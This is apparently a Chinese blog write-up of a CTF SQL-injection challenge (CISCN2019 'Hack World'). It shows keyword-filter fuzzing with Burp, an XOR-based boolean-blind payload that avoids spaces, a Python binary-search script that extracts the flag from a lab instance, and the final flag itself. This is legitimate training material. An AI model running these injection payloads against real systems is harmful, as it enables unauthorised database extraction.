读题
- sql注入题,而且直接告诉你flag在表flag中的flag字段。让你提交查询id
![图片[1]-[CISCN2019 华北赛区 Day2 Web1]Hack World-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/05/d2b5ca33bd97-59.png)
查询1和2会有回显,输入其它数值都会提示错误。
抓包跑一下字典看一下过滤的内容(学到的新技能,原来bp的intruder还能这样用),字典的内容就是常见的sql注入的一些函数名、符号啥的
不过有一点是,buu有限制,访问太快会提示429拒绝访问,所以,需要设置一下延时,我这个设置的有点慢。。。
![图片[2]-[CISCN2019 华北赛区 Day2 Web1]Hack World-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/05/d2b5ca33bd97-60.png)
跑完看返回的报文,返回长度有493、492、482、472。分别对应不同的回显
![图片[3]-[CISCN2019 华北赛区 Day2 Web1]Hack World-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/05/d2b5ca33bd97-61.png)
主要是482的过滤和472返回的fool,也没有其它回显,所以猜测布尔盲注。但是空格、 or、and 都被过滤了接下来的操作又是新的知识点
研究
一、sql异或运算
大概在这里应用就是假^假 =真 ,真^真=假,假^真=真,真^假=真
当我们查询 1^0、0^1、和 1 的回显是一样的,而查询 1^1 或0^0却会有报错提示。
所以结合 sql语句 ,我们可以构造0^payload,若为payload结果真,则返回1,0^1=1,将得到查询id=1时的结果,回显Hello, glzjin wants a girlfriend。
但如何构造payload,因为空格被过滤,所以用括号来代替分割,这里也算学的新方法,利用ASCII码来逐一匹配
0^(ascii(substr((select(flag)from(flag)),1,1))>1)
肯定不可能手工盲注,所以,还是 python 脚本
import requests
import time
import re
url='http://d46c0271-1651-4746-9c9a-e9a975bfcd95.node3.buuoj.cn/index.php'
flag = ''
for i in range(1,43):
max = 127
min = 0
for c in range(0,127):
s = (int)((max+min)/2)
payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
r = requests.post(url,data = {'id':payload})
time.sleep(0.005)
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
max=s
else:
min=s
if((max-min)<=1):
flag+=chr(max)
break
print(flag)
这是一位师傅的脚本,设置了延时,防止429, 用二分法成功得到flag
所以最终flag为flag{fba4f657-3513-4054-8ec7-ebc3d6d8b95a}
© 版权声明
渗透云记的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
渗透云记拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。详情见本站的“免责声明”如果有侵权之处请第一时间联系我们删除。敬请谅解!E-mail:admin@encenc.com
THE END














请登录后查看评论内容